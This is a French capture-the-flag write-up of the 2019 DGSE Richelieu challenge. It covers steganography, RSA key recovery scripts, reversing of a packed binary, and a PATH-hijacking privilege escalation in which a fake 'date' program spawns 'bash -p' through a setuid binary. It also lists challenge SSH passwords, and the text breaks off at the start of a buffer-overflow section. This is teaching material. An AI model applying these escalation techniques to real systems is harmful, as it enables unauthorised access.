# Write-Up du challenge Richelieu de la DGSE En 2019, la DGSE (Direction Générale de la Sécurité Extérieure) a créé un challenge de cybersécurité à résoudre en 3 semaines. Le challenge contenait plusieurs épreuves de web, stéganographie, cryptographie, programmation, reverse-engineering, pwn et système (escalade de privilèges). Dates : 21/05/2019 - 14/06/2019 Lien : https://www.challengecybersec.fr/ Auteurs : [Shutdown](https://twitter.com/_nwodtuhs) & [Oik=](https://twitter.com/Oik_eq) Merci à [Duty](https://twitter.com/dutyfruit_Pwned) & [Antoxyde](https://twitter.com/Antoxyde) ## Fichiers du challenge Lien de téléchargement : https://mega.nz/#F!qC4giapK!m9kWkmna_dUhNQO4W3cJdQ ```shell a0bf3ba00d839937266c4adadea9b3bedc9fda4978c8358c77c071c5f2a03052 defi1 ad19d1008423f26779dda1290aeb8fc3aa1a238c26098a92e31a92bd8c7e97ff defi2 f5ba445040554abbab6b8208942d78f4939018e84e5c86fe327ee464cff54ad3 defi3 55bf0074ef24c4683ed69f4d94a1b4e6062b497464fe5b84cf0f7bcd059e92f4 Richelieu.pdf ``` ## Sommaire *Pardon pour ce sommaire bien long, vous irez vous plaindre à la DGSE pour la longueur du challenge 😉* [TOC] # TL;DR Le lien du challenge donnait le chemin d'un fichier PDF contenant une image encodée en base64 et cachée en blanc sur blanc dans le fichier. Dans cette image, à la suite des données JPG, on pouvait trouver et récupérer les données d'une archive ZIP. L'archive (1) contenait une image chiffré symétriquement avec GPG. Un fichier texte contenant la clé GPG était chiffré en RSA-4096. Une des facteurs premiers de la clé RSA avait été sauvegardé dans un fichier texte et avait subi plusieurs permutations. Il a donc fallu inverser les permutations (programme récursif ou bibliothèque python `exrex`). Une fois la clé GPG récupérée, il était possible de déchiffrer l'image qui contenait le dump hexadécimal d'un binaire ELF caché en LSB. Le binaire packé vérifiait un mot de passe en argument qui était stocké en dur et XORé dans la mémoire. Ce mot de passe a servi à extraire le contenu d'une archive ZIP (2) contenue dans la première archive (1). L'archive (2) contenait un accès SSH `defi1`. Une escalade de privilèges par PATH hijacking permettait de lire un fichier donnant les accès SSH à un `defi2`. Une exploitation d'un binaire SETUID vulnérable à un stack-based buffer overflow et ROP permettait de trouver le contenu d'un fichier donnant les accès SSH à un `defi3`. Une exploitation d'un binaire SETUID vulnérable à une heap-based buffer overflow et Use After Free permettait de lire le fichier final contenant un mot de passe et une adresse mail de contact de la DGSE. # Web : code source ![](https://i.imgur.com/IOCMlbc.png) Le code source de la page contient un bout de script JS qui indique le chemin d'un fichier PDF. ```shell $ curl https://www.challengecybersec.fr/ | tidy [...] let password = "nothing"; if (login === password) { document.location="./Richelieu.pdf"; } [...] $ wget https://www.challengecybersec.fr/Richelieu.pdf ``` # Stéganographie : PDF → JPG → ZIP Le fichier PDF contient du texte écrit en blanc sur blanc. Ce texte est une image JPEG encodée en base64. ```shell $ wget https://www.challengecybersec.fr/Richelieu.pdf $ pdftotext Richelieu.pdf $ base64 -di Richelieu.txt > Richelieu $ file Richelieu Richelieu.jpg: JPEG image data, progressive, precision 8, 2110x3508, components 1 $ mv Richelieu Richelieu.jpg ``` ![](https://i.imgur.com/DaQNqP5.jpg) Une archive ZIP a été cachée dans l'image (concaténation simple). Détection par les magic bytes. ```shell $ hachoir-subfile Richelieu.jpg [+] Start search on 6693178 bytes (6.4 MB) [+] File at 445628 size=6247550 (6.0 MB): ZIP archive [+] End of search -- offset=6693178 (6.4 MB) ``` On extrait cette archive avec l'outil `Foremost`. ```shell $ foremost Richelieu.jpg $ strings output/zip/00000870.zip [...] Le mot de passePK suite.zipUT de cette archivePK prime.txtUT est : DGSE{t.D=@Bx^A%n9FQB~_VL7Zn8z=:K^4ikE=j0EGHqI}PK public.keyUT [...] $ mkdir archive $ unzip -P "DGSE{t.D=@Bx^A%n9FQB~_VL7Zn8z=:K^4ikE=j0EGHqI}" output/zip/00000870.zip -d archive ``` # Cryptographie : RSA + GPG L'archive contient plusieurs fichiers dont un `suite.zip`. Nous allons ici devoir trouver le mot de passe de cette archive pour continuer le challenge. ```shell $ tree . ├── lsb_RGB.png.enc ├── motDePasseGPG.txt.enc ├── prime.txt ├── public.key └── suite.zip $ cat .bash_history 1337 gpg -o lsb_RGB.png.enc --symmetric lsb_RGB.png 1338 vim motDePasseGPG.txt 1339 openssl genrsa -out priv.key 4096 1340 openssl rsa -pubout -out public.key -in priv.key 1341 openssl rsa -noout -text -in priv.key | grep prime1 -A 18 > prime.txt 1342 sed -i 's/7f/fb/g' prime.txt 1343 sed -i 's/e1/66/g' prime.txt 1344 sed -i 's/f4/12/g' prime.txt 1345 sed -i 's/16/54/g' prime.txt 1346 sed -i 's/a4/57/g' prime.txt 1347 sed -i 's/b5/cd/g' prime.txt 1348 openssl rsautl -encrypt -pubin -inkey public.key -in motDePasseGPG.txt -out motDePasseGPG.txt.enc ``` L'historique `bash` nous permet de comprendre les choses suivantes 1. Le mot de passe a probablement été cachée avec une technique de stéganographie sur une image png (Least Significant Bit) 2. Cette image a été chiffrée en symétrique (GPG) 3. Le mot de passe utilisé a été sauvegardé dans un fichier 4. Un couple de clés RSA 4096 a été généré 5. Un de facteurs premiers du module a été sauvegardé et a subi quelques permutations 6. Le fichier contenant la clé GPG a été chiffré avec la clé publique Nous allons donc devoir faire les opérations suivantes 1. Inverser les permutations pour récupérer les 2048 possibilités du facteur premier 2. Trouver le bon 3. Récupérer le module et l'exposant dans la clé publique 4. Trouver (par division) le second facteur 5. Générer la clé privée 6. Déchiffrer le fichier motDePasseGPG.txt.enc avec la clé privée 7. Déchiffrer le fichier lsb_RGB.png.enc avec la clé GPG obtenue ## 1 → 5 Génération de la clé privée ### Méthode 1 : récursivité Lors des `sed -i`, on plusieurs permutations `a → b` mais finalement, ça ne veut pas dire que tous les `b` étaient des `a`. On va donc devoir faire une sorte de bruteforce. Pour chaque `b` présent dans le `prime.txt`, on doit considérer le possibilité que c'est un ancien `a` ou non. Soit `k` le nombre d'apparitions de `b` dans `prime.txt`. Pour chaque `b`, on a deux issues possibles : substituer en `a` ou conserver `b` Pour 6 substitutions différentes (notre cas), il faut calculer les apparitions de chaque `b` et faire la somme. Dans notre cas on a `4*'fb' + 0*'66' + 1*'12' + 1*'54' + 3*'57' + 2*'cb'` soit un total de 11 substitutions potentielles. On a alors 2048 possibilités différentes pour `prime1`. On peut alors écrire le script suivant pour retrouver `prime1`. ```python from Crypto.PublicKey import RSA import os file = open('public.key', 'r') public_key = RSA.importKey(file.read()) file.close() modulus = public_key.n public_exponent = public_key.e encoded_prime1 = '00:fb:40:dc:44:ba:03:d1:53:42:f7:59:08:e0:f9:30:05:96:64:4a:de:94:68:5e:08:e2:8c:9a:b1:64:0c:2f:62:c2:9a:b9:a2:39:82:4b:9e:be:eb:76:ae:6d:87:21:a3:5e:9e:d9:8d:7e:57:38:3e:59:09:34:a5:78:cd:f7:2e:89:5d:5c:37:52:ea:fd:f6:31:cc:ba:d2:d9:60:e4:45:1d:67:76:d2:1f:12:9c:9d:c9:b1:90:45:51:ed:d2:fb:dd:b6:74:b4:99:fb:b1:0a:d9:b7:c2:be:8b:57:07:22:0a:8e:3a:36:ff:6d:c1:1d:63:93:af:cb:4e:c0:47:9f:65:bf:df:e3:f0:5f:1e:98:61:45:74:ec:36:a7:a5:b1:f1:8d:3d:97:6b:5a:82:49:09:00:08:0d:9d:c2:74:57:4e:30:a1:39:68:2f:22:34:71:13:aa:3b:f2:20:4f:8e:10:eb:d4:d0:9b:cd:8c:c2:53:5f:9d:71:13:0c:0f:21:b6:6e:13:39:40:d3:a6:b1:eb:74:ad:dd:0a:29:14:81:b1:90:ad:e0:53:f0:89:c8:00:fe:dc:ad:56:59:fc:28:1d:c0:cf:5e:08:c0:54:33:24:a3:52:bb:f3:25:10:43:c3:73:b8:40:4f:fc:6b:6b:77:bd:5f:22:24:eb:fb:15' sed = { 'fb':'7f', '66':'e1', '12':'f4', '54':'16', '57':'a4', 'cd':'b5' } def my_replace(a, b, i): a = list(a) a[i] = b[0] a[i + 1] = b[1] return "".join(a) def reverse_sed(a, i): global sed global y if i < len(y): z = y[i] if a[ z : z + 2 ] in sed: tmp = my_replace(a, sed[a[z:z+2]], z) tmp_dec = int(tmp.replace(':',''), 16) if modulus % tmp_dec == 0: print("[+] modulus: " + str(modulus)) print("[+] pub.exp: " + str(public_exponent)) print("[+] prime1 : " + str(tmp_dec)) print("[+] prime2 : " + str(modulus // tmp_dec)) os.system("/opt/RsaCtfTool/RsaCtfTool.py -n " + str(modulus) + " -p " + str(tmp_dec) + " -q " + str(modulus // tmp_dec) + " -e " + str(public_exponent) + " --private > priv.key") print("[+] Private key generated...") quit() right = reverse_sed(tmp, i+1) else: right = reverse_sed(a, i+1) left = reverse_sed(a, i+1) y = [] for z in range(len(encoded_prime1)): if encoded_prime1[z:z+2] in sed: y.append(z) reverse_sed(encoded_prime1, 0) ``` On fait d'une pierre deux coups, une fois le facteur trouvé, on a tous les paramètres nécessaires pour générer la clé privée avec la commande suivante (déjà dans le script). ```shell $ rsactftool -n <modulus> -p <prime1> -q <prime2> -e <public_exponent> --private > priv.key ``` On fait tourner le script. ```shell $ python3 gen_priv_key.py [+] modulus: 837849563862443268467145186974119695264713699736869090645354954749227901572347301978135797019317859500555501198030540582269024532041297110543579716921121054608494680063992435808708593796476251796064060074170458193997424535149535571009862661106986816844991748325991752241516736019840401840150280563780565210071876568736454876944081872530701199426927496904961840225828224638335830986649773182889291953429581550269688392460126500500241969200245489815778699333733762961281550873031692933566002822719129034336264975002130651771127313980758562909726233111335221426610990708111420561543408517386750898610535272480495075060087676747037430993946235792405851007090987857400336566798760095401096997696558611588264303087788673650321049503980655866936279251406742641888332665054505305697841899685165810087938256696223326430000379461379116517951965921710056451210314300437093481577578273495492184643002539393573651797054497188546381723478952017972346925020598375000908655964982541016719356586602781209943943317644547996232516630476025321795055805235006790200867328602560320883328523659710885314500874028671969578391146701739515500370268679301080577468316159102141953941314919039404470348112690214065442074200255579004452618002777227561755664967507 [+] pub.exp: 65537 [+] prime1 : 31717798413454838971739311391870214101486054474438584033384974797696836002786889741922328038249283935148167589396475764515984792248325276562635675483085593307632384945480084324354199386711259069590701728377654610059849152461565385315663116675949927841648944186909571007960100266136674008112969369512988507367569334838093403144731951113528040013763615354283491955226704334394856253005551393545293491547587439064269735583121706098798182168292621767902095641352443871167789104818694502605762517497996162527138366803593402358312011933528177646501311411008602369245268966975849244259437732574655956250792264392115994984213 [+] prime2 : 26415754111957012456882978698568998595543408604540679602012008905307229528398419508696699258861541673208334031720118065722015191735056250991124159829757615035331104814626815428071461389740988358621575175288995137250131479702118666935818278843603742157096854979085966659730153703721295913600711482578441198179188796849780101926878867272222747848775311501107737838687624647749187764563156054858429897018261077616060929102880860789449995240869652963349913062375402021334173237153511868665597034141167420444312865576543827395764456254276820652449103574192677537410783040227047254038577626347718324544296319787177388746439 [+] Private key generated : priv.key ``` ### Méthode 2 : la bibliothèque `exrex` Petite astuce trouvée par [Oik=](https://twitter.com/Oik_eq), la bibliothèque `exrex` permettant de générer la liste de `prime1` possibles très simplement. La fin du script est la même que pour la Méthode 1. ```python from Crypto.PublicKey import RSA import os import exrex file = open('public.key', 'r') public_key = RSA.importKey(file.read()) file.close() modulus = public_key.n public_exponent = public_key.e possible_primes = list(exrex.generate('00(7f|fb)40dc44ba03d15342f75908e0f9300596644ade94685e08e28c9ab1640c2f62c29ab9a239824b9ebeeb76ae6d8721a35e9ed98d7e(a4|57)383e590934a578(b5|cd)f72e895d5c3752eafdf631ccbad2d960e4451d6776d21f(f4|12)9c9dc9b1904551edd2(7f|fb)ddb674b499(7f|fb)b10ad9b7c2be8b(a4|57)07220a8e3a36ff6dc11d6393afcb4ec0479f65bfdfe3f05f1e98614574ec36a7a5b1f18d3d976b5a82490900080d9dc274(a4|57)4e30a139682f22347113aa3bf2204f8e10ebd4d09b(b5|cd)8cc2535f9d71130c0f21b66e133940d3a6b1eb74addd0a291481b190ade053f089c800fedcad5659fc281dc0cf5e08c0(16|54)3324a352bbf3251043c373b8404ffc6b6b77bd5f2224eb(7f|fb)15')) for possible_prime in possible_primes: tmp_prime = int(possible_prime, 16) if modulus % tmp_prime == 0: print("[+] modulus: " + str(modulus)) print("[+] pub.exp: " + str(public_exponent)) print("[+] prime1 : " + str(tmp_prime)) print("[+] prime2 : " + str(modulus // tmp_prime)) os.system("/opt/RsaCtfTool/RsaCtfTool.py -n " + str(modulus) + " -p " + str(tmp_prime) + " -q " + str(modulus // tmp_prime) + " -e " + str(public_exponent) + " --private > priv.key") print("[+] Private key generated...") quit() ``` ## 6. Déchiffrement RSA ```shell $ openssl rsautl -decrypt -in motDePasseGPG.txt.enc -out motDePasseGPG.txt -inkey priv.key $ cat motDePasseGPG.txt DGSE{Ti,%yei3=stlh_,5@pIrrMU.^mJC:luYbt1Qe_-Y} ``` ## 7. Déchiffrement GPG ```shell $ gpg -o lsb_RGB.png --passphrase-file motDePasseGPG.txt -d lsb_RGB.png.enc ``` On obtient l'image suivante. ![](https://i.imgur.com/KWLGnuQ.jpg) # Stéganographie : LSB ## Extraction de la charge utile On peut utiliser l'outil de stéganographie `zsteg` sur l'image pour essayer de repérer des patterns inscrit avec la technique du **Least Significant Bit**. ```shell $ zsteg -a lsb_RGB.png imagedata .. text: "/>/6&,Z6<&" [...] b1,r,msb,yx .. text: "FF@bBBB@BBB" b1,b,msb,yx .. text: "\t\t\tASSSSS\t\tI\t\t\t" b1,rgb,lsb,yx .. text: "00000000: 7f45 4c46 0201 0103 0000 0000 0000 0000 .ELF............\n00000010: 0200 3e00 0100 0000 107f 4400 0000 0000 ..>.......D.....\n00000020: 4000 0000 0000 0000 0000 0000 0000 0000 @...............\n00000030: 0000 0000 4000 3800 0200 4000 0000 0000 ." b1,rgb,msb,yx .. text: "2bttttttttttttP" [...] ``` Pour `b1,rgb,lsb,yx`, on remarque ce qui semble être le début d'un output d'un dump hexa sur un binaire ELF. ```shell $ zsteg lsb_RGB.png -E b1,rgb,lsb,yx > step1_binary.txt ``` On peut ensuite éditer le fichier obtenu, enlever le trop d'information inutile et convertir le dump hexa pour obtenir le binaire de départ. ```shell $ nano step1_binary.txt $ head step1_binary.txt 00000000: 7f45 4c46 0201 0103 0000 0000 0000 0000 .ELF............ 00000010: 0200 3e00 0100 0000 107f 4400 0000 0000 ..>.......D..... 00000020: 4000 0000 0000 0000 0000 0000 0000 0000 @............... 00000030: 0000 0000 4000 3800 0200 4000 0000 0000 ....@.8...@..... 00000040: 0100 0000 0500 0000 0000 0000 0000 0000 ................ 00000050: 0000 4000 0000 0000 0000 4000 0000 0000 ..@.......@..... 00000060: 2487 0400 0000 0000 2487 0400 0000 0000 $.......$....... 00000070: 0000 2000 0000 0000 0100 0000 0600 0000 .. ............. 00000080: 2854 0b00 0000 0000 2854 6b00 0000 0000 (T......(Tk..... 00000090: 2854 6b00 0000 0000 0000 0000 0000 0000 (Tk............. $ xxd -r step1_binary.txt > step1_binary $ md5sum step1_binary step1_binary.txt b085579e21b6b29eb6c80cee3a253775 step1_binary 432592312e50f8d35d20e2f0790b7762 step1_binary.txt ``` # Reverse-Engineering ## Unpack ALD ```shell $ file step1_binary binary: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header $ strings -n 15 step1_binary [...] $Info: This file is packed with the ALD executable packer http://upx.sf.net $ $Id: ALD 3.91 Copyright (C) 1996-2013 the ALD Team. All Rights Reserved. $ [...] ``` D'après quelques `strings` dans le binaire, il semblerait qu'il soit packé. Ça parait cohérent avec les erreurs que donne [Ghidra](https://ghidra-sre.org/) lors de l'analyse. Il s'agirait du packer ALD 3.91 [cf. source](https://github.com/upx/upx/releases/tag/v3.91). ```shell $ wget https://github.com/upx/upx/releases/download/v3.91/upx-3.91-amd64_linux.tar.bz2 $ cd ../upx-3.91-amd64_linux/ $ ./upx -d ../step1_binary [...] upx: ../step1_binary: NotPackedException: not packed by UPX Unpacked 0 files. ``` Il est indiqué que le binaire n'a pas été packé avec l'utilitaire d'UPX. Les `strings` disent pourtant le contraire. Voyons quelle est la forme d'un binaire packé avec cet utilitaire. ```shell $ cp /bin/ls . $ upx ls [...] 138856 -> 61540 44.32% linux/amd64 ls Packed 1 file. $ strings -n 15 ls [...] $Info: This file is packed with the UPX executable packer http://upx.sf.net $ $Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $ [...] ``` Il semblerait qu'une substitution `UPX → ALD` ait été faite. ## Unpack UPX ```shell $ sed -i 's/ALD/UPX/g' ../step1_binary $ upx -d ../step1_binary Ultimate Packer for eXecutables Copyright (C) 1996 - 2018 UPX 3.95 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 26th 2018 File size Ratio Format Name -------------------- ------ ----------- ----------- 738384 <- 297492 40.29% linux/amd64 step1_binary Unpacked 1 file. ``` ## Analyse statique Une fois le binaire dépacké, on le charge dans `radare2`. On commence par décompiler la fonction `main`. Il se contente d'afficher l'usage, "Bien joué" si le flag est bon et "Mauvais mot de passe" sinon. La vérification du mot de passe entré semble se faire via une fonction `sub.w0c__:_400aae`. ![](https://i.imgur.com/GHX2Txw.png) La fonction semble effectuer un XOR sur une chaîne. Il pourrait s'agir du flag. ![](https://i.imgur.com/yeKW3Fh.png) ``` [0x00400990]> px 32 @0x4898c0 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x004898c0 7730 6326 5d3a 0e3b 0d4d 2a1f 2e1f 2d4f w0c&]:.;.M*...-O 0x004898d0 2851 377a 1476 2078 0f21 4d21 6c11 002e (Q7z.v x.!M!l... [0x00400990]> ``` ## Analyse dynamique On remarque que l'instruction XOR est précédée, et succédée de deux instructions CMP (comparaison). Nous allons tenter de comprendre le fonctionnement du programme pour retrouver le flag. ```shell $ r2 -d -A step1_binary test > afl //Liste des fonctions 0x00400990 1 43 entry0 0x00400aae 9 114 sub.w0c__:_400aae 0x00400b20 6 83 main 0x00401080 66 828 fcn.00401080 0x00407840 3 158 fcn.00407840 0x00408010 30 445 -> 417 fcn.00408010 0x004440f0 296 11505 -> 7157 sub.n_in_writable_segment_detected_4440f > pdf @ main //Fonction 'main' désassemblée / (fcn) main 83 | main (int argc, char **argv, char **envp); | ; arg int argc @ rdi | ; arg char **argv @ rsi | ; DATA XREF from entry0 (0x4009ad) | 0x00400b20 53 push rbx | 0x00400b21 83ff01 cmp edi, 1 ; 1 ; argc | ,=< 0x00400b24 7e1f jle 0x400b45 | | 0x00400b26 488b7e08 mov rdi, qword [rsi + 8] ; [0x8:8]=-1 ; 8 ; argv | | 0x00400b2a e87fffffff call sub.w0c__:_400aae | | 0x00400b2f 89c3 mov ebx, eax [...] ``` ![](https://i.imgur.com/UjyqM25.png) La première comparaison semble vérifier la taille du mot de passe entré. Pour contourner la vérification et ne pas se préoccuper de la taille du flag, on peut changer l'instruction JE (Jump if Equal) en JNE (l'instruction contraire : Jump if Not Equal). ```shell $ r2 -d -A -w ste1_binary aaaa > pdf @ sub.w0c__:_400aae //Fonction 'sub.w0c__:_400aae' désassemblée [...] > pdf @ sub.w0c__:_400aae / (fcn) sub.w0c__:_400aae 114 | sub.w0c__:_400aae (int arg1); | ; arg int arg1 @ rdi | ; CALL XREF from main (0x400b2a) | 0x00400aae 4889fe mov rsi, rdi ; arg1 | 0x00400ab1 b800000000 mov eax, 0 | 0x00400ab6 48c7c1ffffff. mov rcx, -1 | 0x00400abd f2ae repne scasb al, byte [rdi] | 0x00400abf b800000000 mov eax, 0 | 0x00400ac4 4883f9e0 cmp rcx, -0x20 | ,=< 0x00400ac8 7402 je 0x400acc | | ; CODE XREF from sub.w0c__:_400aae (0x400b1e) [...] > wa jne 0x400acc @ 0x00400ac8 Written 2 byte(s) (jne 0x400acc) = wx 7502 ``` On peut maintenant placer un point d'arrêt (breakpoint) sur l'instruction XOR et exécuter le programme. ```shell > db 0x00400b0d //Breakpoint à l'adresse du XOR > dc //Continuer l'exécution hit breakpoint at: 400b0d > dr ecx //Afficher le contenu du registre ECX 0x00000052 > dr esi //Afficher le contenu du registre ESI 0x00000033 ``` Le programme a atteint le point d'arrêt, on a donc contourné la première comparaison. Le premier caractère de notre entrée est XORé à `0x33`. On peut maintenant terminer l'exécution, la relancer, placer un second point d'arrêt à la comparaison suivant le XOR, et voir la valeur attendue. ```shell > ood aaaa > wa jne 0x400acc @ 0x00400ac8 Written 2 byte(s) (jne 0x400acc) = wx 7502 > db 0x00400b0d 0x00400b0f > dc hit breakpoint at: 400b0d > dr esi //Clé pour le XOR 0x00000033 > dr ecx //Premier char de l'entrée à XORer 0x00000061 > dc hit breakpoint at: 400b0f > dr cl //CL est la partie basse de RCX, résultat du XOR 0x00000052 > px 1 @ rdx //Valeur attendue - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x004898c0 77 w ``` Le résultat attendu est `w (0x77)` et la clé de XOR est `3 (0x33)`. Le premier caractère est donc `D (0x44)`. ```shell $ print -c 'print chr(0x77 ^ 0x33)' D ``` Voyons quelle est la seconde clé de XOR et le caractère attendu. ```shell > ood Daaaa > wa jne 0x400acc @ 0x00400ac8 Written 2 byte(s) (jne 0x400acc) = wx 7502 > db 0x00400b0d 0x00400b0f > dc hit breakpoint at: 400b0d > dc hit breakpoint at: 400b0f > dc hit breakpoint at: 400b0d > dr esi //Clé pour le XOR du second passage 0x00000077 > dr ecx //Second char de l'entrée à XORer 0x00000061 > dc hit breakpoint at: 400b0f > dr cl //Résultat du 2nd XOR 0x00000016 > px 1 @ rdx //Valeur attendue - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x004898c1 30 0 ``` Au XOR on s'aperçoit que le premier caractère de l'entrée est XORé avec `0x33` soit `3` en ASCII. Au CMP on voit que la comparaison est faite entre le premier caractère de la chaîne `w0c&...` et le résultat du xor précédent. Au second XOR, le second caractère de notre input est XORé avec `w`, soit le premier caractère du flag XORé `w0c&...`. On peut donc supposer que pour un XOR `i`, le caractère `i` de notre entrée est XORé avec le caractère `i-1` de la chaîne `w0c&...`. ## Opérations inverses On en sait suffisamment pour créer le script suivant qui XOR la chaîne `w0c&...` avec les bonnes valeurs afin de retrouver le flag. ```python from binascii import unhexlify xored_flag = unhexlify("773063265d3a0e3b0d4d2a1f2e1f2d4f2851377a147620780f214d216c11002e") print("[+] xored_flag : " + str(xored_flag)) k = 0x33 flag = "" for xored_char in xored_flag: flag += chr(k ^ xored_char) k = xored_char print("[+] flag : " + flag) ``` ```shell $ python3 solve.py [+] xored_flag : b'w0c&]:\x0e;\rM*\x1f.\x1f-O(Q7z\x14v x\x0f!M!l\x11\x00.' [+] flag : DGSE{g456@g5112bgyfMnbVXw.llM}. ``` ## Unzip `suite.zip` Le mot de passe de l'archive `suite.zip` est donc **DGSE{g456@g5112bgyfMnbVXw.llM}**. On peut récupérer le contenu suivant. ```shell $ unzip -P "DGSE{g456@g5112bgyfMnbVXw.llM}" suite.zip Archive: suite.zip inflating: suite.txt $ cat suite.txt Suite du challenge Richelieu : ssh defi1.challengecybersec.fr -l defi1 -p 2222 mot de passe : DGSE{2f77c517b06f1cd1ce864f79f41f25ca8874413c8c1204f7ec9c6728c87f270a} ``` On obtient des accès SSH pour un utilisateur **defi1** sur la machine `defi1.challengecybersec.fr`. # Privesc système : PATH Hijacking (defi1) En se connectant en `ssh` avec ce mot de passe **DGSE{2f77c517b06f1cd1ce864f79f41f25ca8874413c8c1204f7ec9c6728c87f270a}**, on arrive sur le répertoire `home` de `defi1`. Voici les fichiers présent: ```shell $ id uid=1000(defi1) gid=1000(defi1) groups=1000(defi1) $ pwd /home/defi1 $ ls -alh total 44K drwxr-xr-x 1 defi1 defi1 4.0K May 10 10:50 . drwxr-xr-x 1 root root 4.0K May 10 10:50 .. -rw-r--r-- 1 defi1 defi1 220 May 15 2017 .bash_logout -rw-r--r-- 1 defi1 defi1 3.5K May 15 2017 .bashrc -rw-r--r-- 1 defi1 defi1 32 May 10 10:50 .gdbinit -rw-r--r-- 1 defi1 defi1 675 May 15 2017 .profile -rw-r--r-- 1 defi1 defi1 7 May 10 10:50 .vimrc -r-------- 1 defi1-drapeau defi1-drapeau 133 Apr 26 14:06 drapeau.txt -r-sr-sr-x 1 defi1-drapeau defi1-drapeau 8.6K May 10 10:50 prog.bin ``` On remarque que le binaire `prog.bin` est setuid. Lors de son exécution, il prendra les droits de son utilisateur propriétaire `defi1-drapeau`. ## Utilisation normale ```shell $ ./prog.bin ################################################# ## Bienvenue dans ce lanceur (_wrapper_) ## ################################################# Ce logiciel vous permet de lancer ces programmes utiles simplement... Menu : -> 1 : Affichage de la date et de l heure actuelle -> 2 : Affichage du nombre de secondes écoulées depuis le 01/01/1970 (Epoch) -> 3 : Affichage du train -> 4 : Affichage du calendrier du mois en cours ``` ``` // Option 1 Nous sommes le 24/05/2019 et il est 07:58:37 ``` ``` // Option 2 Nombre de secondes depuis Epoch : 1558684722 ``` ``` // Option 3 // On a un petit train ``` ![](https://i.imgur.com/1ydlbTe.png) ``` // Option 4 May 2019 Su Mo Tu We Th Fr Sa 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 ``` ## Exploitation L'outil de débogage `ltrace` est disponible sur la machine. Pour la première option du programme `prog.bin`, le programme effectue un appel a `system('date <param>')`. Un appel à `date` (ou autre binaire) sans indiquer de chemin absolu va reposer sur la variable d'environnement `PATH` pour trouver le binaire en question. Si nous avons la possibilité de changer cette variable, alors nous pouvons faire exécuter un programme malveillant à la place de `date`. ```shell $ echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games $ export PATH=/tmp/shutdown:$PATH $ echo $PATH /tmp/shutdown:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games ``` Nous pouvons bel et bien faire du PATH hijacking puisque nous maîtrisons cette variable d'environnement. On crée donc un répertoire `/tmp/shutdown` (nouveau répertoire prioritaire indique dans `PATH` contenant un fichier `date.c`. ```shell $ mkdir /tmp/shutdown $ cd /tmp/shutdown $ nano date.c ``` L'objectif ici étant d'obtenir un shell avec les droits de `defi1-drapeau` pour lire le fichier `drapeau.txt`, nous créons le fichier `date.c` suivant. ```c #include <stdio.h> int main(void) { system("/bin/bash -p"); return 0; } ``` L'utilitaire de compilation `gcc` étant disponible sur la machine, nous pouvons compiler `date.c`. ```shell $ gcc -o date date.c $ cd /home/defi1/ $ ./prog.bin ################################################# ## Bienvenue dans ce lanceur (_wrapper_) ## ################################################# Ce logiciel vous permet de lancer ces programmes utiles simplement... Menu : -> 1 : Affichage de la date et de l heure actuelle -> 2 : Affichage du nombre de secondes écoulées depuis le 01/01/1970 (Epoch) -> 3 : Affichage du train -> 4 : Affichage du calendrier du mois en cours 1 $ id uid=1000(defi1) gid=1000(defi1) euid=1001(defi1-drapeau) egid=1001(defi1-drapeau) groups=1001(defi1-drapeau) $ cat drapeau.txt Suite du challenge Richelieu : ssh defi2.challengecybersec.fr -l defi2 -p 2222 mot de passe : DGSE{H#M?W)el{0YZ-)77/C#ogrp}k4&EbP} ``` L'escalade de privilèges est réussi, on peut passer à la suite avec le mot de passe **DGSE{H#M?W)el{0YZ-)77/C#ogrp}k4&EbP}** # Privesc pwn : ROP (defi2) En se connectant en `ssh`, on arrive sur le répertoire `home` de l'utilisateur `defi2`. ```shell $ id uid=1000(defi2) gid=1000(defi2) groups=1000(defi2) $ pwd /home/defi2 $ ls -alh total 44K drwxr-xr-x 1 defi2 defi2 4.0K May 10 09:45 . drwxr-xr-x 1 root root 4.0K May 10 09:45 .. -rw-r--r-- 1 defi2 defi2 220 May 15 2017 .bash_logout -rw-r--r-- 1 defi2 defi2 3.5K May 15 2017 .bashrc -rw-r--r-- 1 defi2 defi2 32 May 10 09:45 .gdbinit -rw-r--r-- 1 defi2 defi2 675 May 15 2017 .profile -rw-r--r-- 1 defi2 defi2 7 May 10 09:45 .vimrc -r-------- 1 defi2-drapeau defi2-drapeau 133 Apr 26 14:05 drapeau.txt -r-sr-sr-x 1 defi2-drapeau defi2-drapeau 11K May 10 09:45 prog.bin ``` À nouveau, nous avons un fichier `drapeau.txt` lisible par le propriétaire `defi2-drapeau` ainsi qu'un binaire exécutable setuid prenant les droits de son propriétaire `defi2-drapeau` lors de son exécution. ## Utilisation normale Lors de son exécution, le programme demande un couple `login:password` et évalue la robustesse du mot de passe. ```shell $ ./prog.bin ************************************************ ** Vérification du couple login/mot de passe. ** ************************************************ login $ shutdown pass $ shutdown [-] le mot de passe est compris dans le login (ou l'inverse) [-] il n'y a pas de nombre [-] il n'y a pas de majuscule [-] il n'y a pas de caractère spécial Pas bon. Il vaudrait mieux utiliser un autre couple login/mot de passe ``` ## Exploitation ### État de l'art Dans un premier temps, on remarque que l'exécutable est compilé pour une architecture 64 bits et que la pile (stack) est exécutable. L'ASLR (Address Space Layout Randomization) est activée sur le système. C'est une technique permettant de place de façon aléatoire les zones de données dans la mémoire dans la mémoire virtuelle. ```shell $ ssh defi2.challengecybersec.fr -l defi2 -p 2222 [...] $ file prog.bin prog.bin: setuid, setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f7039455e0209df5f5eee33830212b3746b016e8, stripped $ readelf -l prog.bin | grep -A 1 GNU_STACK GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 RWE 0x10 $ checksec prog.bin [...] Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: 